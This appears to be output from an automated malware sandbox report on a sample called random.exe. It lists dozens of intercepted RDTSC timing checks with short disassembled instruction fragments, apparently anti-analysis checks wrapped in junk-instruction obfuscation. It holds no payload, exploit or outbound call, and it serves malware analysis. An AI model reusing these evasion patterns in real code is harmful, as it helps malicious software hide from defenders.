Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E81D5 second address: 10E81E9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007FC1BC5023A6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jp 00007FC1BC5023A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E81E9 second address: 10E81ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E8320 second address: 10E8356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B2h 0x00000007 jmp 00007FC1BC5023AAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FC1BC5023AFh 0x00000013 push ebx 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E8356 second address: 10E8362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC1BCECC576h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7110 second address: 10E7120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BC5023ABh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10E7120 second address: 10E7125 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10721FC second address: 1072214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FC1BC5023B3h 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FC1BC5023ABh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1072214 second address: 1072220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FC1BCECC576h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1072220 second address: 1072224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F619E second address: 10F61A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6BCF second address: 10F6BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6BD3 second address: 10F6BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6BD7 second address: 10F6BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FC1BC5023AEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6BE7 second address: 10F6BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 jnc 00007FC1BCECC576h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6BF5 second address: 10F6C18 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC1BC5023B9h 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007FC1BC5023A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F6D6C second address: 10F6D81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 je 00007FC1BCECC576h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F9C65 second address: 10F9C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F9C6B second address: 10F9C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC583h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FC1BCECC576h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F9C8C second address: 10F9C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10F9C90 second address: 10F9C96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1067E7D second address: 1067E81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 110040A second address: 110040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 110040E second address: 1100414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1100414 second address: 1100456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC1BCECC585h 0x0000000c jmp 00007FC1BCECC580h 0x00000011 jmp 00007FC1BCECC584h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1100456 second address: 1100460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1100460 second address: 1100466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1100466 second address: 1100470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFA0B second address: 10FFA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FC1BCECC576h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFA16 second address: 10FFA2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B3h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFA2F second address: 10FFA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFA33 second address: 10FFA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFB9F second address: 10FFBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FC1BCECC57Ah 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FC1BCECC584h 0x00000018 jmp 00007FC1BCECC57Dh 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push edi 0x00000023 pop edi 0x00000024 jmp 00007FC1BCECC57Ch 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFBE7 second address: 10FFC0F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007FC1BC5023A6h 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FC1BC5023A6h 0x00000014 jmp 00007FC1BC5023B4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFC0F second address: 10FFC13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFD4D second address: 10FFD82 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FC1BC5023B5h 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 10FFD82 second address: 10FFD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC588h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1104314 second address: 1104321 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC1BC5023A8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1104321 second address: 1104327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103AAD second address: 1103ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC1BC5023A6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103ABC second address: 1103AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103AC0 second address: 1103AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103AC6 second address: 1103ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103BFF second address: 1103C0F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC1BC5023A6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1103C0F second address: 1103C56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC582h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007FC1BCECC585h 0x00000010 jno 00007FC1BCECC57Ch 0x00000016 jng 00007FC1BCECC582h 0x0000001c jl 00007FC1BCECC576h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109D4B second address: 1109D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109D51 second address: 1109D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109D55 second address: 1109D72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC1BC5023B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11085F8 second address: 110860F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC1BCECC581h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11088A9 second address: 11088C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC1BC5023B0h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11088C2 second address: 11088DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC586h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11088DC second address: 11088E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108BCA second address: 1108BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108BD0 second address: 1108BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108D47 second address: 1108D55 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC1BCECC578h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108D55 second address: 1108D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC1BC5023A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108F2D second address: 1108F33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1108F33 second address: 1108F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109A98 second address: 1109A9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109A9C second address: 1109AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1109AA2 second address: 1109AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1112B53 second address: 1112B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1112B59 second address: 1112B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC1BCECC580h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11114B4 second address: 11114B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11114B8 second address: 11114BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11125B7 second address: 11125DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC1BC5023B9h 0x0000000c jbe 00007FC1BC5023A8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11125DF second address: 11125EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FC1BCECC576h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1112844 second address: 111285A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 js 00007FC1BC5023A6h 0x00000009 ja 00007FC1BC5023A6h 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1115B7F second address: 1115B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC1BCECC576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 111627F second address: 1116283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1116283 second address: 11162CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007FC1BCECC586h 0x00000010 jl 00007FC1BCECC576h 0x00000016 jmp 00007FC1BCECC583h 0x0000001b popad 0x0000001c popad 0x0000001d je 00007FC1BCECC5A3h 0x00000023 push eax 0x00000024 push edx 0x00000025 jl 00007FC1BCECC576h 0x0000002b push esi 0x0000002c pop esi 0x0000002d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11162CF second address: 11162D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 111643C second address: 1116446 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC1BCECC576h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121BB5 second address: 1121BBD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121BBD second address: 1121BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC1BCECC57Dh 0x00000008 pushad 0x00000009 popad 0x0000000a je 00007FC1BCECC576h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121BDC second address: 1121BE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007FC1BC5023A6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121ED3 second address: 1121ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121ED7 second address: 1121F27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BC5023B2h 0x00000007 jmp 00007FC1BC5023ACh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007FC1BC5023AFh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FC1BC5023B8h 0x0000001b push esi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1121F27 second address: 1121F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1122073 second address: 112207B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112207B second address: 1122080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1122080 second address: 1122087 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1122373 second address: 112239C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC585h 0x00000007 jnc 00007FC1BCECC576h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jne 00007FC1BCECC576h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112239C second address: 11223A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112251D second address: 1122523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11227D9 second address: 11227DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 11227DF second address: 11227E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112A32B second address: 112A335 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC1BC5023A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112A335 second address: 112A353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC1BCECC57Dh 0x0000000e jc 00007FC1BCECC57Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112A353 second address: 112A357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1129E3B second address: 1129E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1129E3F second address: 1129E53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1129E53 second address: 1129E57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1129E57 second address: 1129E8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FC1BC5023A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FC1BC5023ACh 0x00000012 jmp 00007FC1BC5023B7h 0x00000017 jc 00007FC1BC5023ACh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112A004 second address: 112A018 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC1BCECC578h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jne 00007FC1BCECC576h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112A018 second address: 112A025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112C612 second address: 112C63C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC1BCECC57Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC1BCECC584h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112C63C second address: 112C644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112C644 second address: 112C649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 112C649 second address: 112C659 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC1BC5023ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 1137F57 second address: 1137F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC1BCECC580h 0x00000014 rdtsc
